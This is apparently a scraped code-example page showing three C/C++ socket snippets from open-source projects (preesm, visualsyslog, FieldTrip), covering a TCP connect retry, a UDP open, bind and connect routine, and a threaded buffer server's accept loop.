fprintf(stderr, "connect() failed: %d\n", WSAGetLastError());
//WSACleanup();
closesocket(conn_socket);
conn_socket = socket(AF_INET, socket_type, 0);
Sleep(1000);
printf("Client connecting to: %s\n", hp -> h_name);
status=connect(conn_socket, (struct sockaddr *)&server, sizeof(server));
//return -1 ;
}
return ((int)conn_socket);
}
开发者ID:blaunay,项目名称:preesm,代码行数:70,代码来源:Pentium_tcp.c
示例18: inet_addr
//---------------------------------------------------------------------------
bool TUDP::Open(char * local, WORD lport, char * dest, WORD dport)
{
Error = 0;
WSAError = 0;
if( handle || !local || !dest )
{
WSAError = MYERROR_UNKNOWNPARAMS;
Error = 1;
if( Exceptions ) throw 0;
return !Error;
}
in_addr l;
l.S_un.S_addr = inet_addr(local);
if( l.S_un.S_addr==4294967295 ) // host name OR error in IP address
{
// try to resolve host name and copy to l
HOSTENT * hostent = gethostbyname(local);
if( hostent )
{
// hostent->h_name ---> Full local name
l.S_un = ((in_addr *)hostent->h_addr_list[0])->S_un;
}
else
{
//l.S_un.S_addr = INADDR_ANY; // Локальный адрес может быть нулевым
WSAError = WSAGetLastError();
Error = 2;
if( Exceptions ) throw 0;
return !Error;
}
}
in_addr d;
d.S_un.S_addr = inet_addr(dest);
if( d.S_un.S_addr==4294967295 ) // host name OR error in IP address
{
// try to resolve host name and copy to d
HOSTENT * hostent = gethostbyname(dest);
if( hostent )
{
// hostent->h_name ---> Full dest name
d.S_un = ((in_addr *)hostent->h_addr_list[0])->S_un;
}
else
{
//d.S_un.S_addr = INADDR_ANY; // Удаленный адрес может быть нулевым
WSAError = WSAGetLastError();
Error = 3;
if( Exceptions ) throw 0;
return !Error;
}
}
SOCKET h;
// open a TCP socket
h = socket(AF_INET, SOCK_DGRAM, 0);
if( h==INVALID_SOCKET )
{
WSAError = WSAGetLastError();
Error = 4;
if( Exceptions ) throw 0;
return !Error;
}
// Bind our server to the agreed upon port number. See commdef.h for the actual port number
memset(&localAddr, 0, sizeof(localAddr));
localAddr.sin_family = AF_INET;
localAddr.sin_port = htons(lport);
localAddr.sin_addr = l;
if( bind(h, (struct sockaddr *)&localAddr, sizeof(localAddr)) )
{
WSAError = WSAGetLastError();
Error = 6;
closesocket(h);
if( Exceptions ) throw 0;
return !Error;
}
memset(&destAddr, 0, sizeof(destAddr));
destAddr.sin_family = AF_INET;
destAddr.sin_port = htons(dport);
destAddr.sin_addr = d;
if( dport > 0 )
{
if( connect(h, (sockaddr *)&destAddr, sizeof(destAddr)) )
{
WSAError = WSAGetLastError();
Error = 7;
closesocket(h);
if( Exceptions ) throw 0;
return !Error;
}
}
// Получим локальный адрес и порт, к которому мы прибиндились
//.........这里部分代码省略.........
开发者ID:MaxBelkov,项目名称:visualsyslog,代码行数:101,代码来源:udp.cpp
示例19: fprintf
/***********************************************************************
* this thread listens to incoming TCP/UNIX domain socket connections
* if a connection is made by a client, it starts _buffer_socket_func
***********************************************************************/
void *_buffer_server_func(void *arg) {
ft_buffer_server_t *SC = (ft_buffer_server_t *) arg;
int n;
if (SC == NULL) {
fprintf(stderr, "FieldTrip buffer server thread started with invalid argument\n");
return NULL;
}
while (SC->keepRunning) {
SOCKET c;
fd_set readSet;
int sel, rc, merge;
pthread_t tid;
ft_buffer_socket_t *CC;
struct timeval tv = {0,10000}; /* 10 ms for select timeout */
FD_ZERO(&readSet);
FD_SET(SC->serverSocket, &readSet);
sel = select((int) SC->serverSocket + 1, &readSet, NULL, NULL, &tv);
if (sel == 0) continue;
/* The following code portion looks weird because of the preprocessor
defines splitting an if/else clause, but it's just what we want:
On Windows, there is no if/else clause, and the second (TCP) bit
is always called. On POSIX systems, we branch depending on whether
the server runs a local domain socket or TCP socket.
*/
#ifndef WIN32
if (SC->isUnixDomain) {
struct sockaddr_un sa;
socklen_t size_sa = sizeof(sa);
c = accept(SC->serverSocket, (struct sockaddr *)&sa, &size_sa);
if (c == INVALID_SOCKET) {
perror("buffer_server, accept");
continue;
}
/* never merge packets for (local) UNIX sockets */
merge = 0;
} else
#endif
{
struct sockaddr_in sa;
socklen_t size_sa = sizeof(sa);
c = accept(SC->serverSocket, (struct sockaddr *)&sa, &size_sa);
if (c == INVALID_SOCKET) {
perror("buffer_server, accept");
continue;
}
/* enable packet merging only if it's not localhost */
merge = (sa.sin_addr.s_addr == htonl(INADDR_LOOPBACK)) ? 0 : 1;
}
CC = (ft_buffer_socket_t *) malloc(sizeof(ft_buffer_socket_t));
if (CC==NULL) {
fprintf(stderr, "Out of memory\n");
closesocket(c);
continue;
}
CC->server = SC;
CC->clientSocket = c;
CC->mergePackets = merge;
rc = pthread_create(&tid, NULL, _buffer_socket_func, CC);
if (rc) {
fprintf(stderr, "tcpserver: return code from pthread_create() is %d\n", rc);
closesocket(c);
free(CC);
}
}
while ((n=SC->numClients)>0) {
printf("Waiting for %i remaining client threads to stop...\n", n);
usleep(10000);
}
pthread_mutex_lock(&SC->lock);
SC->numClients--;
pthread_mutex_unlock(&SC->lock);
return NULL;
}
开发者ID:Ascronia,项目名称:fieldtrip,代码行数:91,代码来源:socketserver.c
|
请发表评论